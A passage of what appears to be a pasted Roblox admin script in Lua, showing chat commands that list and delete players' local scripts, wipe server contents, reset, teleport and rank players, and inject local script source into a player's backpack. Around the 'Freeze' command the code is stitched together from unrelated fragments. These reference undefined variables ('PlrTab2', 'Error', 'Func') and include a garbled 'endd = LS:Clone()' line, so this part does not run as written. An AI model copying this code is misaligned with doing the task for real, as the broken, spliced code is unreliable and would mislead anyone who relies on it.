  1698. Dismiss(Speaker)
  1699. local LocalScripts = {}
  1700. for _,v in pairs(All()) do
  1701. ypcall(function()
  1702. for _,x in pairs(v.Character:GetChildren()) do
  1703. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1704. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1705. end
  1706. end
  1707. end)
  1708. ypcall(function()
  1709. for _,x in pairs(v.Backpack:GetChildren()) do
  1710. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1711. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1712. end
  1713. end
  1714. end)
  1715. ypcall(function()
  1716. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1717. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1718. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1719. end
  1720. end
  1721. end)
  1722. end
  1723. if #LocalScripts > 0 then
  1724. for _,v in pairs(LocalScripts) do
  1725. Ping(v, Speaker)
  1726. end
  1727. else
  1728. Ping("No Local Scripts Found", Speaker, 5)
  1729. end
  1730. end)
  1731.  
  1732. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1733. local Split = GetSplit(Msg)
  1734. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1735. local ScriptName = Msg:sub(Split + 1)
  1736. local FoundLocal = false
  1737. for _,name in pairs(PlrTab) do
  1738. ypcall(function()
  1739. for _,v in pairs(name.Character:GetChildren()) do
  1740. if string.find(v.Name:lower(), ScriptName) then
  1741. if v:IsA("Script") or v:IsA("LocalScript") then
  1742. v.Disabled = true
  1743. v:Destroy()
  1744. FoundLocal = true
  1745. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1746. end
  1747. end
  1748. end
  1749. end)
  1750. ypcall(function()
  1751. for _,v in pairs(name.Backpack:GetChildren()) do
  1752. if string.find(v.Name:lower(), ScriptName) then
  1753. if v:IsA("Script") or v:IsA("LocalScript") then
  1754. v.Disabled = true
  1755. v:Destroy()
  1756. FoundLocal = true
  1757. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1758. end
  1759. end
  1760. end
  1761. end)
  1762. ypcall(function()
  1763. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1764. if string.find(v.Name:lower(), ScriptName) then
  1765. if v:IsA("Script") or v:IsA("LocalScript") then
  1766. v.Disabled = true
  1767. v:Destroy()
  1768. FoundLocal = true
  1769. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1770. end
  1771. end
  1772. end
  1773. end)
  1774. if FoundLocal == false then
  1775. Ping("Local Script Not Found", Speaker, 5)
  1776. end
  1777. end
  1778. end)
  1779.  
  1780. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1781. for _,v in pairs(game:GetChildren()) do
  1782. ypcall(function()
  1783. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1784. for _,a in pairs(v:GetChildren()) do
  1785. ypcall(function()
  1786. a:Destroy()
  1787. end)
  1788. end
  1789. elseif v.Name == "Players" then
  1790. for _,plr in pairs(v:GetPlayers()) do
  1791. Clear(plr)
  1792. end
  1793. end
  1794. end)
  1795. end
  1796. Clean()
  1797. Fixl()
  1798. Ping("Fully Cleaned", Speaker, 5)
  1799. end)
  1800.  
  1801. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1802. LClean()
  1803. Fixl()
  1804. Ping("Lightly Cleaned", Speaker, 5)
  1805. end)
  1806.  
  1807. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1808. local PlrTab = getPlayer(Speaker, Msg)
  1809. if #PlrTab > 0 then
  1810. for _,v in pairs(PlrTab) do
  1811. ypcall(function()
  1812. v:LoadCharacter()
  1813. Ping("Reset "..v.Name, Speaker, 5)
  1814. end)
  1815. end
  1816. end
  1817. end)
  1818.  
  1819. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1820. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1821. if Work:findFirstChild("Base") then
  1822. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1823. else
  1824. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1825. end
  1826. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1827. end)
  1828.  
  1829. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1830. local PlrTab = getPlayer(Speaker, Msg)
  1831. if #PlrTab > 0 then
  1832. for _,v in pairs(PlrTab) do
  1833.  
  1834. for _,v2 in pairs(PlrTab2) do
  1835. ypcall(function()
  1836. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1837. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1838. end)
  1839. end
  1840.  
  1841. if Error == nil then
  1842. coroutine.wrap(function()
  1843. Func()
  1844. end)()
  1845. Ping("Executed Script!", Speaker, 5)
  1846. else
  1847. Ping(Error, Speaker, 10)
  1848. endd = LS:Clone()
  1849. Inserted.Disabled = true
  1850. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  1851. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  1852. Inserted:findFirstChild(OwnSource).Value = v.Name
  1853. end
  1854. Inserted[LSSource].Value = LocalSource
  1855. Inserted.Disabled = false
  1856. end
  1857. end
  1858. else
  1859. Ping("ERROR: Local Script Not Found", Speaker, 5)
  1860. end
  1861. end)
  1862.  
  1863. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  1864. Msg = tostring(Msg)
  1865. Ping(Msg, Speaker)
  1866. end)
  1867.  
  1868. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  1869. Dismiss(Speaker)
  1870. for i,v in pairs(getfenv(1)) do
  1871. ypcall(function()
  1872. Ping(tostring(i)..": "..tostring(v), Speaker)
  1873. end)
  1874. end
  1875. end)
  1876.  
  1877. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  1878. Dismiss()
  1879. Removed = true
  1880. for i,v in pairs(getfenv(1)) do
  1881. getfenv(1)[i] = nil
  1882. end
  1883. script.Disabled = true
  1884. end)
  1885.  
  1886. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  1887. local Split = GetSplit(Msg)
  1888. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1889. local Rank = tonumber(Msg:sub(Split + 1))
  1890. if #PlrTab > 0 then
  1891. for _,v in pairs(PlrTab) do
  1892. if v.Name ~= Owner then
  1893. ChangeRank(v, Rank)
  1894. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  1895. end
  1896. end
  1897. end
  1898. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement